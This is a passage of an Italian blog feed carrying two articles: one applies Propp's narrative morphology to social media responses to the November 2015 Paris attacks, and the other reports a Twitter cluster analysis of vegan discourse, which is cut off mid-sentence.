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		<title>Attentati di Parigi: narrative di una strage</title>
		<link>https://www.etnografiadigitale.it/attacco-a-parigi-narrative-di-una-strage/</link>
		
		<dc:creator><![CDATA[Vincenzo Luise]]></dc:creator>
		<pubDate>Thu, 07 Apr 2016 09:04:34 +0000</pubDate>
				<category><![CDATA[Home Page]]></category>
		<category><![CDATA[#prayforparis]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[narrativa]]></category>
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		<category><![CDATA[Vladimir Propp]]></category>
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					<description><![CDATA[Il 13 Novembre 2015 i cittadini di Parigi sono stati vittime di una serie di attacchi terroristici rivendicati dall&#8217;ISIS. I vari gruppi, composti complessivamente da almeno 10 persone, hanno colpito in maniera simultanea diversi punti della città. Non sono stati colpiti obiettivi politici o militari come ambasciate, palazzi governativi o caserme. Gli attacchi sono stati pianificati [&#8230;]]]></description>
										<content:encoded><![CDATA[<p lang="it-IT"><img fetchpriority="high" decoding="async" class="alignnone wp-image-6719 " src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/panorama_eiffel_parigi-300x169.jpg" alt="Attentati di Parigi: narrative di una strage" width="665" height="375" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/panorama_eiffel_parigi-300x169.jpg 300w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/panorama_eiffel_parigi-768x432.jpg 768w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/panorama_eiffel_parigi-1024x576.jpg 1024w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/panorama_eiffel_parigi.jpg 1920w" sizes="(max-width: 665px) 100vw, 665px" /></p>
<p lang="it-IT">Il <strong><a href="https://it.wikipedia.org/wiki/Attentati_del_13_novembre_2015_a_Parigi">13 </a><a href="https://it.wikipedia.org/wiki/Attentati_del_13_novembre_2015_a_Parigi" target="_blank" rel="noopener noreferrer">Novembre 2015</a></strong> i cittadini di Parigi sono stati vittime di una serie di attacchi terroristici rivendicati dall&#8217;<strong><a href="https://en.wikipedia.org/wiki/Islamic_State_of_Iraq_and_the_Levant" target="_blank" rel="noopener noreferrer">ISIS</a></strong>. I vari gruppi, composti complessivamente da almeno 10 persone, hanno colpito in maniera simultanea diversi punti della città. Non sono stati colpiti obiettivi politici o militari come ambasciate, palazzi governativi o caserme. Gli attacchi sono stati pianificati contro luoghi pubblici vissuti da cittadini comuni, come un concerto presso il Teatro Bataclan, due ristoranti, un fast food e lo stadio dove la nazionale di calcio francese stava giocando una partita di qualificazione agli europei. La notizia degli attacchi è stata immediatamente rilanciata dalle testate giornalistiche di tutto il mondo.</p>
<p lang="it-IT">Naturalmente anche i social media hanno giocato un ruolo rilevante nella narrazione collettiva di questo tragico evento. Durante i primi momenti le persone che si trovavano nella capitale francese hanno utilizzato i social media come mezzo attraverso il quale geolocalizzarsi o/e comunicare la propria posizione per far sapere alla propria cerchia di amici di essere al sicuro. Facebook dopo poche ore ha implementato la funzione “<a href="https://www.facebook.com/about/safetycheck/" target="_blank" rel="noopener noreferrer">Facebook Safety Check in Paris</a>”.</p>
<h3 lang="it-IT"><strong>Parigi come narrativa di una strage</strong></h3>
<p lang="it-IT"><strong>Vladimir Propp</strong>, linguista e uno studioso di folklore, ha utilizzato l&#8217;approccio del formalismo russo per lo studio della struttura narrativa delle fiabe popolari. In <strong><a href="http://www.ibs.it/code/9788806154516/propp-vladimir/morfologia-della-fiaba.html" target="_blank" rel="noopener noreferrer">Morfologia della Fiaba</a></strong>, pubblicato nel 1928 Propp afferma che esiste una struttura narrativa, più o meno fissa, comune alle fiabe della tradizione popolare russa e individua 31 funzioni e 7 personaggi tipo. Le funzioni, costanti e stabili, sono le unità fondamentali della fiaba e sono identificate in base al significato che l&#8217;agire del personaggio assume all&#8217;interno della storia indipendentemente dalle caratteristiche del personaggio e dal modo di esecuzione. La successione di queste funzioni è costante ma non tutte le fiabe contengono tutte le 31 funzioni.</p>
<p lang="it-IT">L&#8217;obiettivo non è quello di presentare uno studio scientifico sull&#8217;utilizzo dei social media durante gli attacchi terroristici ma, piuttosto, proporre una riflessione sulle diverse narrative dell&#8217;evento di Parigi attraverso l&#8217;approccio elaborato da Propp. Le informazioni condivise attraverso i social media possono essere considerate come elementi di un racconto collettivo, dove diverse narrazioni, interagendo tra loro, concorrono a creare un&#8217;unica storia. L&#8217;interazione tra le narrazioni diventa l&#8217;unità narrativa che determina lo sviluppo dell&#8217;intera storia. Tale riflessione è basata su un singolo caso e quindi non è certo possibile individuare delle tipologie stabili e costanti, ma possiamo provare comunque a tracciarne i confini.</p>
<p lang="it-IT">(Per supportare tale riflessione sono state utilizzate screenshot di post Facebook, tweet e articoli online a scopo esemplificativo.)</p>
<p lang="it-IT"><strong>Narrazione 1 &#8211; L&#8217;attacco, l&#8217;evento scatenante, l&#8217;inizio della narrazione:</strong> Questi sono i primi momenti in cui si apprende dell&#8217;attacco. Coloro i quali erano in città in quelle ore iniziano a condividere i post con la propria posizione o comunicando di essere al sicuro. Facebook lancia <a href="https://www.facebook.com/about/safetycheck/" target="_blank" rel="noopener noreferrer">Safety Check in Paris</a> e le testate giornalistiche internazionali iniziano a condividono le prime immagini e i primi video.</p>
<p class="western" lang="it-IT"><a href="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-20.47.11.png" rel="attachment wp-att-6613"><img decoding="async" class=" wp-image-6613 alignleft" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-20.47.11-300x177.png" alt="Screen Shot 2016-04-03 at 20.47.11" width="319" height="188" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-20.47.11-300x177.png 300w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-20.47.11.png 386w" sizes="(max-width: 319px) 100vw, 319px" /></a></p>
<p class="western" lang="it-IT"><a href="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-20.46.59.png" rel="attachment wp-att-6614"><img decoding="async" class=" wp-image-6614 aligncenter" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-20.46.59-261x300.png" alt="Screen Shot 2016-04-03 at 20.46.59" width="273" height="314" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-20.46.59-261x300.png 261w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-20.46.59.png 388w" sizes="(max-width: 273px) 100vw, 273px" /></a></p>
<p class="western" lang="it-IT"><a href="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-20.51.19.png" rel="attachment wp-att-6617"><img loading="lazy" decoding="async" class=" wp-image-6617 alignleft" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-20.51.19-241x300.png" alt="Screen Shot 2016-04-03 at 20.51.19" width="266" height="331" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-20.51.19-241x300.png 241w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-20.51.19.png 491w" sizes="auto, (max-width: 266px) 100vw, 266px" /></a> <a href="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-20.53.05.png" rel="attachment wp-att-6618"><img loading="lazy" decoding="async" class=" wp-image-6618 aligncenter" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-20.53.05-300x273.png" alt="Screen Shot 2016-04-03 at 20.53.05" width="327" height="298" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-20.53.05-300x273.png 300w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-20.53.05.png 462w" sizes="auto, (max-width: 327px) 100vw, 327px" /></a><br />
<b></b></p>
<p class="western" lang="it-IT"><a href="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-20.47.45.png" rel="attachment wp-att-6621"><img loading="lazy" decoding="async" class=" wp-image-6621 aligncenter" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-20.47.45-300x209.png" alt="Schermata 2016-02-20 alle 20.47.45" width="336" height="234" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-20.47.45-300x209.png 300w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-20.47.45.png 582w" sizes="auto, (max-width: 336px) 100vw, 336px" /></a></p>
<p class="western" lang="it-IT"><strong>Narrazione 2 &#8211; L&#8217;evento svela la sua portata:</strong> Iniziano a circolare le prime immagini e i video amatoriali di cosa sta accedendo. Un racconto dall&#8217;interno che mostra, svela la realtà. Un racconto che narra il cambiamento della routine.<br />
<a href="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.13.01.png" rel="attachment wp-att-6636"><img loading="lazy" decoding="async" class="size-medium wp-image-6636 alignnone" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.13.01-300x249.png" alt="Screen Shot 2016-04-03 at 21.13.01" width="300" height="249" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.13.01-300x249.png 300w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.13.01.png 368w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a> <img loading="lazy" decoding="async" class="wp-image-6625 alignnone" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.02.43-300x237.png" alt="Screen Shot 2016-04-03 at 21.02.43" width="314" height="248" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.02.43-300x237.png 300w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.02.43.png 363w" sizes="auto, (max-width: 314px) 100vw, 314px" /></p>
<p class="western" lang="it-IT"><strong>Narrazione 3 &#8211; Il sostegno emotivo:</strong> Istituzioni, persone comuni e personaggi famosi sostengono la città di Parigi. Nasce l&#8217;hashtag #prayforparis e il logo della pace con la Toure Eiffel disegnata al suo interno diventa il simbolo di vicinanza e sostengo alla città di Parigi.</p>
<p class="western" lang="it-IT"><a href="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.07.34.png" rel="attachment wp-att-6630"><img loading="lazy" decoding="async" class=" wp-image-6630 alignleft" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.07.34-300x248.png" alt="Screen Shot 2016-04-03 at 21.07.34" width="327" height="270" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.07.34-300x248.png 300w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.07.34.png 399w" sizes="auto, (max-width: 327px) 100vw, 327px" /></a></p>
<p class="western" lang="it-IT"><a href="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.08.16.png" rel="attachment wp-att-6631"><img loading="lazy" decoding="async" class="size-medium wp-image-6631 aligncenter" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.08.16-249x300.png" alt="Screen Shot 2016-04-03 at 21.08.16" width="249" height="300" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.08.16-249x300.png 249w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.08.16.png 464w" sizes="auto, (max-width: 249px) 100vw, 249px" /></a></p>
<p><a href="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.09.01.png" rel="attachment wp-att-6633"><img loading="lazy" decoding="async" class=" wp-image-6633 alignleft" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.09.01-300x263.png" alt="Screen Shot 2016-04-03 at 21.09.01" width="317" height="278" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.09.01-300x263.png 300w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.09.01.png 460w" sizes="auto, (max-width: 317px) 100vw, 317px" /></a><a href="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.09.47.png" rel="attachment wp-att-6634"><img loading="lazy" decoding="async" class=" wp-image-6634 aligncenter" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.09.47-245x300.png" alt="Screen Shot 2016-04-03 at 21.09.47" width="266" height="326" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.09.47-245x300.png 245w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.09.47.png 429w" sizes="auto, (max-width: 266px) 100vw, 266px" /></a></p>
<p><strong>Narrazione 4 &#8211; Una consapevolezza razionale:</strong> Dopo le prime ore vengono prodotte le prime analisi su ciò che è accaduto. Ci si focalizza sul rapporto tra religione e terrorismo. Si cerca di comprendere chi sono i terroristi, qual è la loro cultura, da dove provengono. Nascono numerose riflessioni sull&#8217;Islam e sui rapporti con l&#8217;Europa.</p>
<p><a href="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-20.57.37.png" rel="attachment wp-att-6641"><img loading="lazy" decoding="async" class="size-medium wp-image-6641 alignleft" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-20.57.37-300x137.png" alt="Schermata 2016-02-20 alle 20.57.37" width="300" height="137" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-20.57.37-300x137.png 300w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-20.57.37.png 581w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a><a href="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-20.55.15.png" rel="attachment wp-att-6640"><img loading="lazy" decoding="async" class="wp-image-6640 aligncenter" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-20.55.15-277x300.png" alt="Schermata 2016-02-20 alle 20.55.15" width="293" height="317" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-20.55.15-277x300.png 277w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-20.55.15.png 573w" sizes="auto, (max-width: 293px) 100vw, 293px" /></a></p>
<p><strong>Narrazione 5 &#8211; Una conoscenza alternativa:</strong> Nasce in risposta ai primi articoli e ai primi commenti sull&#8217;Islam una nuova narrazione. Questa narrazione si propone di diffondere una visione alternativa e autentica del mondo islamico contrapponendosi al discorso mainstream (narrazione 4).</p>
<p class="western" lang="it-IT"><a href="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.19.22.png" rel="attachment wp-att-6647"><img loading="lazy" decoding="async" class="wp-image-6647 aligncenter" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.19.22-300x298.png" alt="Screen Shot 2016-04-03 at 21.19.22" width="330" height="328" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.19.22-300x298.png 300w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.19.22-150x150.png 150w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Screen-Shot-2016-04-03-at-21.19.22.png 495w" sizes="auto, (max-width: 330px) 100vw, 330px" /></a></p>
<p lang="it-IT"><strong>Narrazione 6 – L&#8217;ipocrisia:</strong> Questa narrazione nasce e si sviluppa in contrapposizione all&#8217;ondata di sostegno nei confronti della città di Parigi (narrazione 3). Si critica la presunta ipocrisia dei cittadini europei che piangono le vittime degli attacchi francesi ma dimenticano i morti di tutte le altre guerre nel mondo.</p>
<p class="western" lang="it-IT"><a href="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/3.png" rel="attachment wp-att-6649"><img loading="lazy" decoding="async" class="alignnone wp-image-6649" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/3-222x300.png" alt="3" width="264" height="356" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/3-222x300.png 222w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/3.png 470w" sizes="auto, (max-width: 264px) 100vw, 264px" /></a><a href="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/5.png" rel="attachment wp-att-6650"><img loading="lazy" decoding="async" class="wp-image-6650 alignnone" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/5-279x300.png" alt="5" width="294" height="316" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/5-279x300.png 279w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/5.png 576w" sizes="auto, (max-width: 294px) 100vw, 294px" /></a></p>
<p class="western" lang="it-IT"><a href="http://www.ilfattoquotidiano.it/2015/11/16/attentati-parigi-anche-tra-i-morti-come-tra-i-vivi-facciamo-differenze-proprio-no/2221083/" rel="attachment wp-att-6652"><img loading="lazy" decoding="async" class="wp-image-6652 alignnone" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/1-300x98.png" alt="1" width="315" height="103" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/1-300x98.png 300w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/1.png 680w" sizes="auto, (max-width: 315px) 100vw, 315px" /></a> <a href="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/8-1.png" rel="attachment wp-att-6657"><img loading="lazy" decoding="async" class="size-medium wp-image-6657 alignnone" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/8-1-300x84.png" alt="8" width="300" height="84" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/8-1-300x84.png 300w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/8-1.png 455w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p class="western" lang="it-IT"><strong>Narrazione 7 &#8211; L&#8217;empatia culturale:</strong> In risposta sull&#8217;ipocrisia dell&#8217;Europa (narrazione 6) si sviluppa una nuova contro-narrazione che giustifica i sentimenti di cordoglio verso le vittime di Parigi e non verso le vittime di tutte le guerre o attacchi terroristici in virtù di una vicinanza culturale.</p>
<p class="western" lang="it-IT"><a href="http://www.huffingtonpost.it/deborah-dirani/la-vicinanza-della-morte-perche-parigi-non-e-beirut_b_8608378.html" rel="attachment wp-att-6659"><img loading="lazy" decoding="async" class="wp-image-6659 aligncenter" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-21.29.53-300x79.png" alt="Schermata 2016-02-20 alle 21.29.53" width="410" height="108" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-21.29.53-300x79.png 300w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-21.29.53.png 570w" sizes="auto, (max-width: 410px) 100vw, 410px" /></a></p>
<p lang="it-IT"><strong>Narrazione 8 &#8211; La risposta delle armi:</strong> Questa narrazione viene prodotta a ridosso degli attentati dagli organi di stampa internazionali ma sembra emergere soltanto quando le altre perdono di intensità. Questo racconto viene alimentato dalle informazioni che mostrano le operazioni dell&#8217;esercito francese contro le milizie dell&#8217;ISIS in Medio Oriente.</p>
<p class="western" lang="it-IT"><a href="http://www.ilsole24ore.com/art/mondo/2015-11-15/francia-colpito-centro-comando-raqqa--220856.shtml?uuid=ACZTEsaB" rel="attachment wp-att-6661"><img loading="lazy" decoding="async" class="wp-image-6661 aligncenter" src="http://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-21.50.01-300x267.png" alt="Schermata 2016-02-20 alle 21.50.01" width="367" height="326" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-21.50.01-300x267.png 300w, https://www.etnografiadigitale.it/wp-content/uploads/2016/04/Schermata-2016-02-20-alle-21.50.01.png 674w" sizes="auto, (max-width: 367px) 100vw, 367px" /></a></p>
<h2 lang="it-IT"><strong>Conclusioni</strong></h2>
<p lang="it-IT">In conclusione secondo l&#8217;approccio elaborato da Propp le funzioni seguono un ordine stabilito e servono a scandire i tempi della narrazione. Questo accade anche per le tipologie di narrazioni identificate. La sequenza con la quale sono state descritte corrisponde all&#8217;ordine temporale con la quale sono emerse nella rete (non per la narrazione 8 che viene prodotta pochi giorni dopo gli attentati). Tale ordine, però, non può assolutamente essere considerato come un canovaccio rigido. Questo perché il flusso di informazioni che determina la vita delle tipologie narrative non si arresta quando ne emerge una nuova.</p>
<p lang="it-IT">Possiamo quindi considerare queste tipologie come uno sciame di informazioni e relazioni che si modellano costantemente. Quello che sembra emergere è una struttura narrativa definita da tali tipologie che, instaurano tra loro relazioni collaborative o antagoniste, si costituiscono come unità fondamentali e concorrono tutte insieme alla creazione di un racconto collettivo.</p>
<p lang="it-IT" style="text-align: right;"><em>Articolo di Vincenzo Luise @vinceluise</em></p>
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		<title>Vegan, Vegani e Veganismo: Metodi, Trend di Consumo ed Etica in Cucina</title>
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		<pubDate>Mon, 01 Feb 2016 09:20:21 +0000</pubDate>
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										<content:encoded><![CDATA[<p><img loading="lazy" decoding="async" class="alignnone wp-image-2348" src="http://www.etnografiadigitale.it/wp-content/uploads/2012/03/Mangiar_sano.jpg" alt="Vegan, Vegani e Veganismo: Metodi, Trend di Consumo ed Etica in Cucina" width="605" height="403" srcset="https://www.etnografiadigitale.it/wp-content/uploads/2012/03/Mangiar_sano.jpg 1200w, https://www.etnografiadigitale.it/wp-content/uploads/2012/03/Mangiar_sano-300x200.jpg 300w, https://www.etnografiadigitale.it/wp-content/uploads/2012/03/Mangiar_sano-1024x682.jpg 1024w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p>&nbsp;</p>
<p>In questo articolo vogliamo coniugare una riflessione sul crescente <strong>trend di consumo</strong> legato allo stile di vita <strong>vegan </strong>con una riflessione metodologica sull&#8217;utilizzo di <strong>tool</strong> di supporto all&#8217;<strong>analisi delle conversazioni online</strong>, affidandoci ad una brevissima ricerca su <strong>Twitter UK</strong> e <strong>USA</strong>.</p>
<p>&nbsp;</p>
<h3><strong>Evidenze principali</strong></h3>
<p>Grazie all&#8217;impiego combinato di <strong>software</strong> automatici per l’organizzazione e l’<strong>analisi del testo</strong> siamo stati in grado di ricostruire in maniera rapida, ma estremamente approfondita, la struttura del macro-discorso articolato su <strong>Twitter</strong> attorno al tema del <strong>Vegan</strong>. Da tale analisi sono emerse le seguenti evidenze.</p>
<p>&nbsp;</p>
<p><strong>Olismo versus Ideologismo</strong>. Dal punto di vista culturale il consumo di alimenti vegani non può essere considerato (tecnicamente) come ideologico. Infatti, il drive che spinge le persone a consumare prodotti vegani non è mai legato ad una singola dimensione simbolica, come l’ambientalismo o il rispetto per gli animali in sé. Viceversa l’ambientalismo ed il rispetto per gli animali sono sempre concepiti in chiave <strong>olistica</strong>, ovvero in quanto pratiche che hanno ricadute positive sulla salute dell’individuo e della società nel suo complesso.</p>
<p>&nbsp;</p>
<p><strong>Fonti informative</strong>. Dall&#8217;analisi automatica degli Url contenuti nei tweet emerge che i siti web più seguiti in ambito di alimentazione e stile di vita vegano sono: <strong>Sarvaasuperfood</strong> (un sito di e-commerce), <strong>Theorganicview</strong>, <strong>Theveganwoman</strong> e <strong>Yourfoodismedicine</strong>.</p>
<p>&nbsp;</p>
<p><strong>Trend di consumo 1 (Ricette Salate)</strong>. I consumatori sembrano sempre più attratti da alimenti e ricette senza glutine (<strong>#GlutenFree</strong>) e dal crudismo (<strong>#Raw</strong>).</p>
<p>&nbsp;</p>
<p><strong>Trend di consumo 2 (Ricette Dolci)</strong>. Tra gli ingredienti più apprezzati e più in voga relativamente alla preparazione di dolci vegan spiccano Cioccolato, Tofu, Zucca e Mandorle (<strong>#Chocolate</strong>, <strong>#Tofu</strong>, <strong>#Pumpkin</strong>, <strong>#Almond</strong>).</p>
<p>&nbsp;</p>
<h3><strong>Introduzione</strong></h3>
<p>L’analisi online di una particolare tematica, qualunque essa sia, richiede diversi strumenti sia pratici che teorici. Tra i primi si annoverano gli svariati <strong>tool</strong> che i ricercatori digitali hanno a disposizione per raccogliere dati dal web (<strong>scraper</strong>,<strong> crawler</strong>); i secondi fanno riferimento al background, agli schemi interpretativi, ai modelli teorici e alla capacità di <strong>comprensione</strong> e <strong>interpretazione</strong> propri di ciascun analista, derivanti dalla sua formazione e dalla sua esperienza.</p>
<p>&nbsp;</p>
<p>Ma la ricerca online richiede soprattutto tempo. Tempo per identificare concetti e parole chiave, per raccogliere le conversazioni, leggerle, analizzarle, interpretarle e sviscerare temi, significati e valori veicolati attraverso il discorso. Tuttavia, non sempre si dispone di molto tempo, soprattutto se l’obiettivo di tali indagini web è quello di fornire resoconti tempestivi su tematiche emergenti a poco tempo dalla diffusione di una notizia, un evento, un trend.</p>
<p>&nbsp;</p>
<p>Nel mondo del <strong>marketing</strong> molte <strong>agenzie</strong> e <strong>brand</strong> compensano questa variabile temporale ricorrendo a strumenti basati su algoritmi in grado di classificare <strong>automaticamente</strong> contenuti e <strong>sentiment</strong> delle conversazioni. Il ricorso al <strong>social media monitoring</strong>, pur riuscendo a estrapolare elementi di interesse in tempo reale, non è tuttavia in grado di entrare in profondità nel discorso intrapreso dagli utenti, rimanendo a un livello di dettaglio superficiale e, soprattutto, non garantendo l’accuratezza che solamente lo “strumento umano” può fornire. Un buon compromesso per riuscire a processare ingenti quantità di dati in tempi ragionevoli si ottiene facendo ricorso a strumenti che non mirano a sostituirsi al ricercatore, ma a supportarlo. È il caso specifico dei ben noti software di <strong>qualitative data analysis NVivo</strong> e <strong>ATLAS.ti</strong>, ma anche di <strong>T-LAB</strong> uno strumento interamente dedicato all’analisi dei testi che ben si presta ad aggregare e sintetizzare informazioni di varia provenienza, e a cui abbiamo fatto ricorso in questo articolo per studiare il <strong>discorso Twitter</strong> attorno al tema <strong>vegan</strong>.</p>
<h3></h3>
<p>&nbsp;</p>
<h3><strong>Il discorso in rete</strong></h3>
<p>È comunemente noto come il discorso sul <strong>vegan</strong> in rete tenda ad essere estremamente <strong>polarizzato</strong>, con convinti sostenitori e tenaci detrattori che si fronteggiano in una perpetua dialettica, volti entrambi a far prevalere la propria visione del mondo con argomentazioni talvolta oggettive e razionali, ma molto spesso guidate da faziosità, imprecisioni, scarso senso della realtà e poca civiltà. I luoghi comuni in entrambe le direzioni abbondano e al Centro Studi ci siamo attivati per comprendere le dinamiche che caratterizzano questo discorso su un media specifico, <strong>Twitter</strong>, con lo scopo di rilevare quali sono gli <strong>attori</strong> che lo intraprendono, in che <strong>modo</strong> e con che <strong>toni</strong> lo fanno e soprattutto con che tipo di <strong>contenuti.</strong></p>
<h3></h3>
<p>&nbsp;</p>
<h3><strong>Metodologia</strong></h3>
<p>La ricerca è stata svolta analizzando tutti i <strong>tweet</strong> in lingua <strong>inglese</strong> contenenti gli hashtag <strong>#Vegan</strong> e <strong>#Veganism</strong> nel periodo compreso tra il 9 e il 19 Ottobre 2015, per un totale di <strong>6.434</strong> tweet raccolti in dieci giorni e prodotti da <strong>3.361</strong> singoli utenti.</p>
<p>&nbsp;</p>
<h2><strong>Cluster Analysis</strong></h2>
<p>Applicando un modello di cluster analysis con il software T-LAB, i tweet raccolti sono stati suddivisi in quattro gruppi principali, ciascuno dei quali include termini tra loro frequentemente associati e semanticamente affini. Esplorando i lemmi inclusi in ciascun cluster è possibile risalire in modo semplice alle <strong>quattro macro-tematiche</strong> più presenti all&#8217;interno del discorso in esame.<br />
1) <strong>News Sharin</strong>g (36%): tweet riguardanti notizie generiche sul mondo vegan.<br />
2) <strong>Vegan Choice</strong> (22%): tweet relativi alle motivazioni alla base della scelta vegan.<br />
3) <strong>Salad Recipes</strong> (23%): tweet rimandanti a ricette vegan salate.<br />
4) <strong>Sweet Recipes</strong> (19%): tweet rimandanti a ricette vegan dolci.</p>
<p>&nbsp;</p>
<p><img loading="lazy" decoding="async" class="alignnone wp-image-6587 " src="http://www.etnografiadigitale.it/wp-content/uploads/2016/01/Veg_quadrante-300x222.png" alt="Vegan, Vegani e Veganismo: Metodi, Trend di Consumo ed Etica in Cucina" width="448" height="331" /></p>
<p>Esplorando il contenuto di ciascun cluster emergono delle evidenze interessanti sia di tipo culturale che in ottica di consumo. Dall&#8217;aggregato <strong>News Sharing</strong> emergono le principali fonti informative di riferimento per i vegan e/o per le persone interessate a questo stile di vita; in particolare i siti più seguiti e popolari risultano essere: <strong><a href="http://www.sarvaasuperfood.com/" target="_blank">Sarvaasuperfood</a></strong> (un sito di e-commerce), <strong><a href="http://www.theorganicview.com/" target="_blank">Theorganicview</a></strong>, <strong><a href="http://www.theveganwoman.com/" target="_blank">Theveganwoman</a></strong> e <strong><a href="http://www.yourfoodismedicine.com/" target="_blank">Yourfoodismedicine</a></strong>. Tendenzialmente in queste fonti viene molto stressato il risvolto salutistico dello stile di vita vegan. Dal cluster <strong>Vegan Choice</strong> si possono evincere le motivazioni alla base della scelta vegan: una <strong>etica</strong>, con il 